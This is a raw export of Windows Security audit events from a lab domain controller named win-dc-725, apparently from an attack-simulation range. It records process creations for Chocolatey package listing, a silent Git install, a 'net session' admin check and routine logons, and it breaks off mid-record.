WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246079 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfd4 - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd90 - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246078 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd90 - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf4c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246077 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x74E8C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246076 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x74E8C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246075 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246074 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246073 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf5c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES153.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC1759A2A9267948828522C5E9FE50ADB5.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246085 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb2c - New Process Name: C:\Windows\System32\reg.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x9cc - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246084 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe54 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246083 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd9c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe54 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246082 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe54 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x418 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\cmd.exe /d /c C:\Windows\system32\silcollector.cmd configure - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246081 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff4 - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc8c - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246080 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc8c - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf4c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246087 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeec - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdd0 - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" install git --fail-on-unfound --yes --no-progress --limit-output --timeout 2700 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246086 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd0 - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf4c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\chocolatey\bin\choco.exe install git --fail-on-unfound --yes --no-progress --limit-output --timeout 2700 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246089 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd80 - New Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xbfc - Creator Process Name: C:\ProgramData\chocolatey\lib\git.install\tools\Git-2.30.1-64-bit.exe - Process Command Line: "C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp" /SL5="$70060,48287735,224256,C:\ProgramData\chocolatey\lib\git.install\tools\Git-2.30.1-64-bit.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /NOCANCEL /SP- /LOG /COMPONENTS="icons,assoc,assoc_sh,ext,ext\shellhere,ext\guihere,gitlfs,icons\quicklaunch" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246088 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbfc - New Process Name: C:\ProgramData\chocolatey\lib\git.install\tools\Git-2.30.1-64-bit.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xeec - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\lib\git.install\tools\Git-2.30.1-64-bit.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /NOCANCEL /SP- /LOG /COMPONENTS="icons,assoc,assoc_sh,ext,ext\shellhere,ext\guihere,gitlfs,icons\quicklaunch" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246097 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee4 - New Process Name: C:\Windows\System32\net1.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x39c - Creator Process Name: C:\Windows\System32\net.exe - Process Command Line: C:\Windows\system32\net1 session - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246096 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x39c - New Process Name: C:\Windows\System32\net.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc98 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: net session - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246095 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc84 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc98 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246094 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc98 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /d /c net session >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\net-session.txt" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246093 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9ac - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: 